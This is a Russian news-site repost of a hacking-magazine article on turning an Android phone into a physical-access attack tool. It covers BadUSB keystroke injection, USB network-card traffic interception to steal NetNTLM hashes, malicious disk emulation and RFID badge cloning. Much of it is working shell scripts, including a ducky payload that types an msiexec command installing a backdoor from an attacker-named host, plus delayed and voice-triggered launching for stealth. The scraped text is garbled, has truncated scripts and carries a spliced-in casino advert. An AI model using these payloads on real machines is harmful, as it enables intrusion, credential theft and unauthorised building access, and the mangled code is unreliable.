Категория > Новости > Продвинутый киберфон. Заряжаем телефон хакерской силой - «Новости»
Продвинутый киберфон. Заряжаем телефон хакерской силой - «Новости»16-06-2023, 00:00. Автор: Ross |
Киберфон. Превращаем телефон на Android в инструмент хакера». Она завершает цикл публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. В этих материалах мы раскрываем простые способы получения несанкционированного доступа к защищенной информации и показываем, как ее оградить от подобных атак.warningСтатья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону. В статье «Киберфон. Превращаем телефон на Android в инструмент хакера» был показан простой и универсальный способ создания GNU-окружения — базы для хакерского инструментария. Мы рассмотрели принцип сборки драйверов прямо на устройстве, а также организовали взаимодействие Android с GNU. Затем я продемонстрировал часть хакерских возможностей современного смартфона. Это были самые опасные и распространенные векторы нападения с использованием радиоканала. Давай взглянем, на что способен телефон при непосредственном физическом доступе к атакуемому устройству. BadUSBЧитайте также - Официальный сайт Гизбо Казино - это лицензионные игровые автоматы, слоты, ставки на спорт, а также выгодные предложения. Начинай играть в игровые автоматы на лучших официальных casino online с бонусом. Современные Android-устройства имеют из коробки богатую поддержку эмуляции USB. Например, при подключении к компьютеру телефон обычно спрашивает, как он может быть определен — как сетевое устройство, съемный диск или иначе. Все это эмуляция через так называемые USB-гаджеты. Ты можешь самостоятельно изучить, какие гаджеты уже реализованы в твоем текущем ядре, с помощью мобильного приложения USB Gadget Tool (net.tjado.usbgadget). Среди них наверняка есть поддержка гаджетов для всех возможных BadUSB-атак. BadUSB-hidС телефона можно без труда имитировать клавиатуру и выполнить произвольные команды с помощью автоматического ввода — эта атака была описана в статье «Очень плохая флешка. Разбираем атаку BadUSB в деталях». Нам потребуется USB-функция badusb/hid/start.sh if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficat <<EE| sudo bashcd /sys/kernel/config/usb_gadget/g1/mkdir -p functions/hid.keyboardcd functions/hid.keyboard/echo 1 protocolecho 1 subclassecho 8 report_lengthecho -ne 'x05x01x09x06xa1x01x05x07x19xe0x29xe7x15x00x25x01x75x01x95x08x81x02x95x01x75x08x81x03x95x05x75x01x05x08x19x01x29x05x91x02x95x01x75x03x91x03x95x06x75x08x15x00x25x65x05x07x19x00x29x65x81x00xc0' report_desccd -ln -s functions/hid.keyboard configs/b.1/hid.keyboardecho "" UDCecho `ls -1 /sys/class/udc/ | head -1` UDCssh -i ~/id_rsa-local -p 8022 lo "su - -c 'setprop sys.usb.config rndis,none,adb'"while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null && break; doneEE В результате телефон может стать USB-клавиатурой. Активирует нажатия клавиатуры такой скрипт: badusb/hid/keystrokes.sh [[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')python2 ./ducky/duckhunter.py -l us "$ducky"/tmp/rubber_ducky.sh В случае с телефоном атака BadUSB-hid может выглядеть даже менее подозрительно, чем с флешкой. Ведь если флешку вставит в комп далеко не каждый, то зарядить телефон можно почти у кого угодно. Телефон на зарядке нажимает клавиши, запускающие команду скачивания и запуска бэкдора Это отличный социальный вектор атаки. Забавно, но вопреки общему мнению получается, что телефоном взломать комп куда проще, чем компьютером взломать телефон. Для незаметности злоумышленник может активировать атаку не сразу в момент подключения, а спустя какое‑то время: sleep 60;badusb/hid/start.sh;badusb/hid/keystrokes.sh У современного телефона множество датчиков, и триггером к атаке может стать что угодно — освещение, вибрация, движение телефона или даже голосовая команда: while [~/android/listen.sh != "run" ]; do false; done;badusb/hid/keystrokes.sh ducky.txt android/listen.sh #!/bin/bash ssh -i~/id_rsa-local -p8022 localhost "termux-speech-to-text" Синтаксис ducky-скриптов полностью идентичен описанному в статье про BadUSB-флешку и про ее беспроводной аналог — Mousejack. Самое опасное, что может быть набрано на клавиатуре, — это, например, такой код: badusb/hid/ducky.txt GUI r DELAY 500 STRING msiexec /i https://en.badusb.attacker.tk/1.msi /quiet DELAY 300 ENTER SHIFT ALT DELAY 300 SHIFT CTRL DELAY 300 GUI r DELAY 500 STRING msiexec /i https://ru.badusb.attacker.tk/1.msi /quiet DELAY 300 ENTER Телефон злоумышленника покорно заряжается от компьютера жертвы, но, как только он услышит команду run, срабатывает атака, и компьютер оказывается скомпрометированным за секунду. Злоумышленник может даже удаленно инициировать атаку, подключившись к телефону по VPN, используя 4G и запустив сценарий Так как имитируется клавиатура, то через badusb/hid/keyboard.sh while read -n1 byte А через badusb/hid/mouse.py #!/usr/bin/python3 import curses from os import system def main(stdscr): curses.curs_set(0) curses.mousemask(1) while True: key = stdscr.getch() if key == curses.KEY_MOUSE: try: _, x, y, _, _ = curses.getmouse() system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y)) stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh() except: pass elif key == ord("l"): system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse") stdscr.addstr(0, 0, "left click "); stdscr.refresh() elif key == ord("r"): system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse") stdscr.addstr(0, 0, "right click"); stdscr.refresh() elif key == 0x1b: break curses.wrapper(main) Нажатия по консоли в псевдографическом режиме используются, чтобы передать движения курсора на компьютер. BadUSB-ETHАтаку BadUSB-ETH, позволяющую перехватить сетевой трафик (смотри статью «Злая сетевуха. Разбираем в деталях атаку BadUSB-ETH»), тоже можно провести с телефона. Для этого его нужно слегка настроить: badusb/eth/start.sh if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficd/sys/kernel/config/usb_gadget/g1 В первом блоке скрипта активируется эмуляция сетевой карты по USB. Она, кстати, может уже присутствовать по умолчанию или быть доступна через обычные настройки телефона: «Настройки → Для разработчиков → Конфигурация USB по умолчанию: USB-модем». Во втором блоке скрипта запускается кастомный DHCP-сервер, который перекрывает сетевые маршруты жертвы и направляет весь ее трафик в телефон атакующего. Так как при подключении телефона ОС Android не в состоянии запустить свой DHCP-сервер, настройка интерфейса может прерваться. Поэтому нужно доконфигурировать его самостоятельно, и именно это делается в третьем блоке скрипта. Скрипт должен быть запущен перед подключением телефона к заблокированному компьютеру, чтобы интерфейс Далее запускаются уже непосредственно все атаки: badusb/eth/attack.sh GREEN=$'x1b[32m'RESET=$'x1b[39m'#~/gui.shfor script in $(find on_network/-type f -perm -u+x)doexec sudo $scriptrndis0 poisontap & В первом цикле запускаются атаки on_network, универсальные для всех клиентов. Во втором ожидается появление IP-адреса клиента (целевого устройства), а в третьем — запуск на него всех on_client-атак: чекеры уязвимостей, брутфорсеры, сбор данных и так далее. В этом случае, благодаря дисплею телефона, атакующий видит больше информации о ходе процесса. Телефон создает Ethernet-сеть с заблокированным ноутбуком, перекрывает другие сети и перехватывает хеш пароля Таким способом вполне реально стянуть NetNTLM-хеш. Если его сбрутить (что тоже достижимо), то удастся обойти блокировку устройства. Если это доменный комп, то такой хеш можно направить на LDAP контроллера домена и, изменив определенные свойства учетки, также обойти аутентификацию. Возможно, атакующему повезет и удастся сразу выполнить произвольный код через какую‑нибудь уязвимость или подобранный пароль, а затем активировать бэкдор. И все это только с помощью телефона! BadUSB-HDDПомимо устройств ввода (hid) и сетевых карт (eth), Android-телефон (вернее, ядро Linux) умеет эмулировать еще и носители данных — жесткие диски и CD-приводы. BadUSB-HDD — это подвид BadUSB-атак, который заключается в возможности сымитировать загрузочное устройство при перезагрузке и выполнить там произвольный код. Однако возможность эмуляции диска может быть полезна и для других целей. В качестве диска используется обычный файл‑образ. Его содержимое — это последовательность байтов. Все, что записано в файле, находится на диске. Следующий скрипт по выбору может имитировать такие заранее подготовленные диски: badusb/hdd/start.sh [[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): 'disk Примечательно, что можно сымитировать и readonly-носители так, чтобы ОС или антивирус ничего не удалили. Останавливает эмуляцию диска следующий скрипт: badusb/hdd/stop.sh #!/bin/bash if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; fi cat <<EE| sudo bash cd /sys/kernel/config/usb_gadget/g1 echo '' > functions/mass_storage.0/lun.0/file EE sleep 1 ssh -i~/id_rsa-local -p8022 lo "su - -c 'setprop sys.usb.config none,adb'" Каждый образ диска может использовать свой сценарий атаки, например:
На рисунке ниже показано, как подключенный к компьютеру по USB телефон эмулирует диск с поврежденной файловой системой, приводящей к BSOD. Эмуляция жесткого диска по USB с поврежденной файловой системой Аварийно перезагруженный таким образом компьютер может уйти на перезагрузку с незатертыми данными в RAM. Телефон же в этот момент может эмулировать по USB другой диск — ProxmarkТехнологии RFID (125 кГц) и NFC (13,56 МГц) применяются повсеместно для бесконтактной идентификации и преодоления турникетов на заводах, входных дверей кабинетов, подъездов и так далее. RFID и NFC легко спутать. На вид они слабо отличимы. Есть пара лайфхаков, позволяющих быстро понять, какой тип бесконтактной технологии перед вами. Современные телефоны снабжены NFC и не используют RFID, поэтому если твой телефон среагировал на поднесенную метку, значит, это NFC. Другой способ — визуальный, с использованием фонарика. Определяем тип бесконтактной карты обычным фонариком Если просвечивается круглая антенна — это обычно RFID, прямоугольная — NFC. Но возможны и частные случаи. Эти две технологии можно встретить примерно с равной вероятностью. Автоматизированные системы контроля и управления доступом в бизнес‑центрах и на предприятиях чаще работают на RFID, в то время как в гостиницах и отелях — почти всегда на NFC. Также карты оплаты, включая и банковские, работают на основе технологии NFC, но они используют немного иной принцип, поэтому рассматривать их не будем. Обе технологии применяют бесконтактный метод коммуникации ближнего поля, когда RFID/NFC-чип включается и работает благодаря электромагнитной энергии на малых расстояниях (порядка нескольких сантиметров). Атаки на RFID и NFC чаще всего связаны с бесконтактным клонированием и последующим повторным использованием. Атаку можно проводить в сочетании с устройством Proxmark. Для его работы требуется собрать драйвер: CONFIG_USB_ACM=m make modules M=drivers/usb/class sudo modprobe cdc-acm Также нужно собрать соответствующий инструмент с аналогичным именем: git clone https://github.com/Proxmark/proxmark3 cd proxmark3;make RFIDRFID — технология бесконтактной идентификации, по сути радиометка, чаще всего содержащая 5 байт. Эта технология никак не защищена от несанкционированного чтения и может быть без труда клонирована. RFID можно сравнить с QR-кодом, который легко сфотографировать и использовать повторно, с той лишь разницей, что здесь не оптический канал считывания, а радио-. Для клонирования метки или, например, пропуска требуется прочитать и эмулировать данные: rfid/clone.sh ./read.sh | while read tag
Перейти обратно к новости |